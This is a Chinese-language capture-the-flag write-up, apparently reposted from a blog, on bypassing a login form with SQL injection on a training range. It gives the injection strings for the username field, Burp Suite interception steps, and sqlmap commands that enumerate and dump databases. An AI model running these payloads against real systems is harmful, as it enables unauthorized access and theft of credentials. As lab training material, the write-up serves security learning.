SQL注入漏洞測試(登錄繞過)


原理

   服務端后台存在類似的代碼

 SELECT * FROM accounts WHERE username='admin' and password = 'password'

   后端如果沒做校驗處理,username 和 password 值從前端傳進來直接執行sql語句,就存在可以構造惡意代碼。

  如果在用戶名框內輸入"admin' AND 1=1 /*", 在密碼框內輸入任意字符串,那么后台執行的SQL就為

 SELECT * FROM accounts WHERE username='admin' and 1=1 /*' and password = 'password'

  這個有個前提條件是username是admin,如果不是amdin的話可以把and 換成 or

SELECT * FROM accounts WHERE username='admin' OR 1=1 /*' and password = 'password'

 

 

1、用任意用戶名和口令登陸並用burpsuite抓包
2、用戶名處使用萬能密碼登陸成功獲取flag(密碼不用輸了,因為后面的已經被注釋)
image.png

image.png

 

也可用sqlmap工具

sqlmap.py -u http://219.153.49.228:40363 --forms --dbs

 

 

 

本題還可以使用sqlmap進行注入

暴庫 sqlmap -u "http://ip/" --forms --dbs

爆表sqlmap -u "http://ip" --forms -d "數據庫名" --columns

爆賬戶sqlmap -u "ip" --forms -d "數據庫名" --dump

解密即可獲取用戶名密碼,登錄后得到key

 

參考:
【經驗分享】后台常用的萬能密碼_數據庫_weixin_34297704的博客-CSDN博客 

SQL注入漏洞測試(登錄繞過)_SQL注入_在線靶場_墨者學院_專注於網絡安全人才培養 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM